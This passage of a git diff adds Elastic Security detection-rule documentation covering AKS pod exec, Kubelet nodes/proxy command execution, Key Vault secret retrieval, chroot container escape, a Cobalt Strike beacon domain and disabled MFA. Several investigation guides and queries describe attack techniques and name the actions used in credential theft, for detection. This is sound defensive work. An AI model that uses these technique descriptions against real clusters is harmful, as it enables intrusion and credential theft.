kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. This rule alerts on a +`pods/exec` request by an identity that is not node, control-plane, or kube-system infrastructure. Exec into a pod grants +an interactive shell inside the workload, which adversaries use to read mounted secrets, pivot, and stage tooling. + + +*Possible investigation steps* + + +- Review the acting identity in `azure.platformlogs.properties.log.user.username` and its groups in + `azure.platformlogs.properties.log.user.groups`, and the target pod in + `azure.platformlogs.properties.log.objectRef.name` / `azure.platformlogs.properties.log.objectRef.namespace`. +- Determine whether the target pod holds sensitive data, cluster credentials, or a mounted service account token. +- Inspect the exec request path and command context in `azure.platformlogs.properties.log.requestURI` and the client in + `azure.platformlogs.properties.log.userAgent` (interactive `kubectl` vs a scripted client). +- Evaluate the source in `azure.platformlogs.properties.log.sourceIPs`. Pivot on it for related API activity, secret + reads, or RBAC changes from the same identity. + + +*False positive analysis* + + +- Approved admin debugging; exclude stable operator or break-glass identities after review. +- CI/CD or platform tooling that execs into workloads may match; exclude verified service accounts and namespaces. + + +*Response and remediation* + + +- If unauthorized, revoke the identity's tokens and kubeconfig and terminate the exec session. +- Inspect the target pod for tampering, dropped tooling, or accessed secrets, and rotate any credentials it exposed. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs with the `kube-audit` category forwarded through Event Hub into the `azure.platformlogs` data stream is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:"kube-audit" and + azure.platformlogs.properties.log.objectRef.resource:"pods" and azure.platformlogs.properties.log.objectRef.subresource:"exec" and + azure.platformlogs.properties.log.verb:("create" or "get") and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" or + system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-aks-kubelet-proxy-to-command-execution-endpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-aks-kubelet-proxy-to-command-execution-endpoint.asciidoc new file mode 100644 index 0000000000..ae693f69f8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-aks-kubelet-proxy-to-command-execution-endpoint.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-28-azure-aks-kubelet-proxy-to-command-execution-endpoint]] +=== Azure AKS Kubelet Proxy to Command Execution Endpoint + +Detects use of the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet command-execution endpoints (run, exec, attach, portforward, cri). Unlike benign monitoring that scrapes /metrics and /stats, a request to these endpoints executes commands inside a pod on the node, the core of the kubeletctl and Peirates lateral-movement technique. Even a GET to /exec is command execution because the Kubelet maps the WebSocket upgrade handshake to the RBAC get verb, so nodes/proxy GET is sufficient for remote code execution. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://horizon3.ai/attack-research/when-read-only-isnt-k8s-nodes-proxy-get-to-rce/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.privilege-escalation.nodes-proxy/ +* https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://github.com/inguardians/peirates +* https://grahamhelton.com/blog/nodes-proxy-rce + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Kubelet Proxy to Command Execution Endpoint* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. This rule keys on the Kubelet +endpoint in `azure.platformlogs.properties.log.requestURI`: `/proxy/run`, `/proxy/exec`, `/proxy/attach`, +`/proxy/portforward`, and `/proxy/cri` execute commands in a pod on the target node, whereas monitoring uses `/metrics` +and `/stats`. Any hit here is high-signal command execution regardless of the acting identity, including a stolen +monitoring service-account token. + + +*Possible investigation steps* + + +- Confirm the endpoint and target in `azure.platformlogs.properties.log.requestURI` (the path encodes + `////`) and the acting identity in + `azure.platformlogs.properties.log.user.username`. +- Evaluate `azure.platformlogs.properties.log.sourceIPs`. This is an array; for an externally operated attack the first + element is the operator's real client IP and the trailing entry is the internal API-server/konnectivity hop + (`172.31.x`). A first entry that is not the cluster's own egress is a strong signal. +- Determine what the target pod runs and what secrets or tokens it exposes, and whether the identity should reach the + Kubelet at all. +- Correlate with prior recon (`/proxy/pods`, `/proxy/runningpods`) and follow-on RBAC changes, secret reads, or token + requests from the same identity. + + +*False positive analysis* + + +- Direct use of Kubelet exec endpoints via nodes/proxy is uncommon; validate any administrative debugging tool that + proxies exec and exclude verified operators. + + +*Response and remediation* + + +- Treat as active command execution on a node. Revoke the acting identity's tokens, isolate the affected node and pods, + and rotate credentials reachable from them. +- Review the RBAC that granted `nodes/proxy` and remove it from workload identities that do not require it. +- Note that direct Kubelet access on port 10250 bypasses the API server and is not in kube-audit; a confirmed proxy exec + may indicate broader Kubelet access. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs with the `kube-audit` category forwarded through Event Hub into the `azure.platformlogs` data stream is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:"kube-audit" and + azure.platformlogs.properties.log.objectRef.resource:"nodes" and + azure.platformlogs.properties.log.objectRef.subresource:"proxy" and + azure.platformlogs.properties.log.requestURI:( + */proxy/run/* or */proxy/exec* or */proxy/attach* or + */proxy/portforward* or */proxy/portForward* or */proxy/cri/* + ) and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-key-vault-unusual-secret-key-usage.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-key-vault-unusual-secret-key-usage.asciidoc new file mode 100644 index 0000000000..c954910975 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-key-vault-unusual-secret-key-usage.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-28-azure-key-vault-unusual-secret-key-usage]] +=== Azure Key Vault Unusual Secret Key Usage + +Identifies secrets, keys, or certificates retrieval operations from Azure Key Vault by a user principal that has not been seen previously doing so in a certain amount of days. Azure Key Vault is a cloud service for securely storing and accessing secrets, keys, and certificates. Unauthorized or excessive retrievals may indicate potential abuse or unauthorized access attempts. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.platformlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.inversecos.com/2022/05/detection-and-compromise-azure-key.html + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Azure Key Vault +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Key Vault Unusual Secret Key Usage* + + +Azure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects excessive secret or key retrieval operations from Azure Key Vault, which may indicate potential abuse or unauthorized access attempts. + + +*Possible investigation steps* + +- Review the `azure.platformlogs.identity.claim.upn` field to identify the user principal making the retrieval requests. This can help determine if the activity is legitimate or suspicious. +- Check the `azure.platformlogs.identity.claim.appid` or `azure.platformlogs.identity.claim.appid_display_name` to identify the application or service making the requests. If the application is not recognized or authorized, it may indicate a potential security incident. It is plausible that the application is a FOCI compliant application, which are commonly abused by adversaries to evade security controls or conditional access policies. +- Analyze the `azure.platformlogs.resource.name` field to determine which Key Vault is being accessed. This can help assess the impact of the retrieval operations and whether they target sensitive resources. +- Review the `event.action` field to confirm the specific actions being performed, such as `KeyGet`, `SecretGet`, or `CertificateGet`. These actions indicate retrieval of keys, secrets, or certificates from the Key Vault. +- Check the `source.ip` or `geo.*` fields to identify the source of the retrieval requests. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior. +- Use the `time_window` field to analyze the frequency of retrieval operations. If multiple retrievals occur within a short time frame (e.g., within a few minutes), it may indicate excessive or suspicious activity. +- Correlate the retrieval operations with other security events or alerts in the environment to identify any patterns or related incidents. +- Triage the user with Entra ID sign-in logs to gather more context about their authentication behavior and any potential anomalies. + + +*False positive analysis* + +- Routine administrative tasks or automated scripts may trigger excessive retrievals, especially in environments where Key Vaults are heavily utilized for application configurations or secrets management. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Legitimate applications or services may perform frequent retrievals of keys or secrets for operational purposes, such as configuration updates or secret rotation. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Security teams may perform periodic audits or assessments that involve retrieving keys or secrets from Key Vaults. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications. +- Some applications may require frequent access to keys or secrets for normal operation, leading to high retrieval counts. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. + + +*Response and remediation* + +- Investigate the user principal making the excessive retrieval requests to determine if they are authorized to access the Key Vault and its contents. If the user is not authorized, take appropriate actions to block their access and prevent further unauthorized retrievals. +- Review the application or service making the requests to ensure it is legitimate and authorized to access the Key Vault. If the application is unauthorized or suspicious, consider blocking it and revoking its permissions to access the Key Vault. +- Assess the impact of the excessive retrieval operations on the Key Vault and its contents. Determine if any sensitive data was accessed or compromised during the retrievals. +- Implement additional monitoring and alerting for the Key Vault to detect any further suspicious activity or unauthorized access attempts. +- Consider implementing stricter access controls or policies for Key Vaults to limit excessive retrievals and ensure that only authorized users and applications can access sensitive keys and secrets. +- Educate users and administrators about the risks associated with excessive retrievals from Key Vaults and encourage them to follow best practices for managing keys and secrets in Azure environments. + + +==== Setup + + + +*Required Azure Key Vault Diagnostic Logs* + + +To ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Key Vault: +- AuditEvent: This log captures all read and write operations performed on the Key Vault, including secret, key, and certificate retrievals. These logs should be streamed to the Event Hub used for the Azure integration configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "azure.platformlogs" and +event.outcome: "success" and +event.action : ( + "VaultGet" or + "KeyGet" or + "KeyList" or + "KeyListVersions" or + "KeyGetDeleted" or + "KeyListDeleted" or + "SecretGet" or + "SecretList" or + "SecretListVersions" or + "SecretGetDeleted" or + "SecretListDeleted" or + "CertificateGet" or + "CertificateList" or + "CertificateListVersions" or + "CertificateGetDeleted" or + "CertificateListDeleted" or + "CertificatePolicyGet" or + "CertificateContactsGet" or + "CertificateIssuerGet" or + "CertificateIssuersList" +) and azure.platformlogs.identity.claim.upn: * and azure.platformlogs.properties.id: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-chroot-execution-in-container-context-on-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-chroot-execution-in-container-context-on-linux.asciidoc new file mode 100644 index 0000000000..b475165069 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-chroot-execution-in-container-context-on-linux.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-28-chroot-execution-in-container-context-on-linux]] +=== Chroot Execution in Container Context on Linux + +Detects chroot execution on Linux when the process appears to run in a container-oriented context: the process title matches runc init, the entry leader is a container workload, or the parent process is runc. Chroot from inside a container can pivot to an alternate root filesystem and is a common step in container breakout attempts when combined with sensitive host mounts. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://some-natalie.dev/container-escapes-chroot/ +* https://attack.mitre.org/techniques/T1611/ + +*Tags*: + +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Domain: Container +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Chroot Execution in Container Context on Linux* + + +This alert is the host-process analogue to Defend for Containers chroot coverage: it keys on chroot binaries or +arguments plus signals that the execution is tied to a container runtime (runc parent, runc init title, or Elastic +Defend container session metadata). Review the command line for the target root path, especially host-linked mounts such +as `/host`, `/proc/1/root`, or unexpected node paths. + + +*Possible investigation steps* + + +- Confirm whether the workload was expected to use chroot and whether the target directory is an internal build root + versus a host filesystem mount. +- For Elastic Defend events, use session and entry leader context to map the pod or container image; for Auditd + Manager events, pivot on `process.parent` and nearby syscall activity on the same host. +- Hunt for follow-on shell execution, access to the container runtime socket, or kubelet credential paths. + + +*False positive analysis* + + +- Legitimate image builds and package installs may chroot into a prepared rootfs; tune by parent process, user, or CI + agent identity when noise is high. + + +*Response and remediation* + + +- If unauthorized, isolate the workload and node, preserve artifacts, and rotate credentials exposed to the container. + + +==== Setup + + + +*Setup* + + +This rule requires process execution telemetry from Elastic Defend and/or Auditd Manager on Linux. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Auditd Manager" and select the integration to see more details about it. +- Click "Add Auditd Manager". +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed "auditd manager" to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click "Save and Continue". +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Ensure execve (or equivalent process) auditing is enabled so `event.category:process` and process fields populate for +chroot invocations. Container-context clauses that rely on `process.entry_leader` or `process.title` are primarily +populated on Elastic Defend; Auditd Manager match when `process.title` matches on container runc. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and +event.type:start and event.action:(executed or exec) and +(process.name:"chroot" or process.args:("chroot" or "/bin/chroot" or "/usr/bin/chroot" or "/usr/local/bin/chroot")) and +(process.title:"runc init" or process.entry_leader.entry_meta.type:"container" or process.parent.name:("runc" or "containerd-shim-runc-v2")) and +not process.args:(apt-get or add-apt-repository or apt-cache* or */var/lib/rancher/agent/tmp* or dpkg) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-cobalt-strike-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-cobalt-strike-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..8ca4975c22 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-cobalt-strike-command-and-control-beacon.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-28-cobalt-strike-command-and-control-beacon]] +=== Cobalt Strike Command and Control Beacon + +Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for command and control. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.morphisec.com/fin7-attacks-restaurant-industry +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Cobalt Strike Command and Control Beacon* + + +Cobalt Strike is a penetration testing tool often repurposed by attackers for malicious activities, particularly for establishing command and control (C2) channels. Adversaries exploit its beaconing feature to communicate with compromised systems using common protocols like HTTP or TLS. The detection rule identifies suspicious network patterns, such as specific domain naming conventions, indicative of Cobalt Strike's C2 activity, helping analysts pinpoint potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific domain that triggered the rule, focusing on the pattern [a-z]{3}.stage.[0-9]{8}\..* to determine if it matches known malicious domains. +- Analyze the network traffic logs associated with the alert, specifically looking at events categorized under network or network_traffic with types tls or http, to gather more context about the communication. +- Investigate the source IP address and destination domain involved in the alert to determine if they have been associated with previous malicious activities or are listed in threat intelligence databases. +- Examine the timeline of the network activity to identify any patterns or anomalies that could indicate a larger campaign or coordinated attack. +- Check for any related alerts or incidents in the security information and event management (SIEM) system that might provide additional context or indicate a broader compromise. +- Assess the affected endpoint for any signs of compromise, such as unusual processes or connections, to determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar domain naming conventions. Review and whitelist known update servers to prevent false alerts. +- Internal development or testing environments might mimic Cobalt Strike's domain patterns for legitimate purposes. Identify and exclude these environments from the rule. +- Automated scripts or tools that generate network traffic with similar domain structures can trigger false positives. Monitor and document these tools, then create exceptions for their activity. +- Some content delivery networks (CDNs) might use domain patterns that match the rule's criteria. Verify and exclude trusted CDNs to reduce unnecessary alerts. +- Regularly review and update the list of exceptions to ensure that only verified non-threatening behaviors are excluded, maintaining the rule's effectiveness. + + +*Response and remediation* + + +- Isolate the affected systems immediately to prevent further communication with the Cobalt Strike C2 server. This can be done by disconnecting the network or using network segmentation techniques. +- Conduct a thorough forensic analysis of the compromised systems to identify the extent of the breach and any additional payloads or backdoors that may have been installed. +- Remove any identified Cobalt Strike beacons or related malware from the affected systems using updated antivirus or endpoint detection and response (EDR) tools. +- Change all credentials and access tokens that may have been exposed or used on the compromised systems to prevent unauthorized access. +- Monitor network traffic for any signs of re-infection or communication attempts with known Cobalt Strike C2 domains, using updated threat intelligence feeds. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been compromised. +- Implement network-level controls, such as blocking known malicious domains and IP addresses associated with Cobalt Strike, to prevent future attacks. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +from packetbeat-*, filebeat-*, logs-network_traffic.* metadata _id, _version, _index +| where ( + (event.category in ("network", "network_traffic") and network.protocol in ("tls", "http")) or + data_stream.dataset in ("network_traffic.tls", "network_traffic.http") + ) +| where destination.domain RLIKE "[a-z]{3}\\.stage\\.[0-9]{8}\\..*" +| keep @timestamp, destination.domain, source.ip, destination.ip, network.protocol, data_stream.dataset, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-deprecated-mfa-disabled-for-google-workspace-organization.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-deprecated-mfa-disabled-for-google-workspace-organization.asciidoc new file mode 100644 index 0000000000..d37556e0ec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-deprecated-mfa-disabled-for-google-workspace-organization.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-28-deprecated-mfa-disabled-for-google-workspace-organization]] +=== Deprecated - MFA Disabled for Google Workspace Organization + +Detects when multi-factor authentication (MFA) is disabled for a Google Workspace organization. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/7061566 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Deprecated - MFA Disabled for Google Workspace Organization* + + +Multi-factor authentication (MFA) is a process in which users are prompted for an additional form of identification, such as a code on their cell phone or a fingerprint scan, during the sign-in process. + +If you only use a password to authenticate a user, it leaves an insecure vector for attack. If the users's password is weak or has been exposed elsewhere, an attacker could use it to gain access. Requiring a second form of authentication increases security because attackers cannot easily obtain or duplicate the additional authentication factor. + +For more information about using MFA in Google Workspace, access the https://support.google.com/a/answer/175197[official documentation]. + +This rule identifies when MFA enforcement is turned off in Google Workspace. This modification weakens account security and can lead to accounts and other assets being compromised. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- While this activity can be done by administrators, all users must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the user and domain. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate the multi-factor authentication enforcement. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:(ENFORCE_STRONG_AUTHENTICATION or ALLOW_STRONG_AUTHENTICATION) and google_workspace.admin.new_value:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-deprecated-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-deprecated-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt.asciidoc new file mode 100644 index 0000000000..5365dd2cb0 --- /dev/null +++ 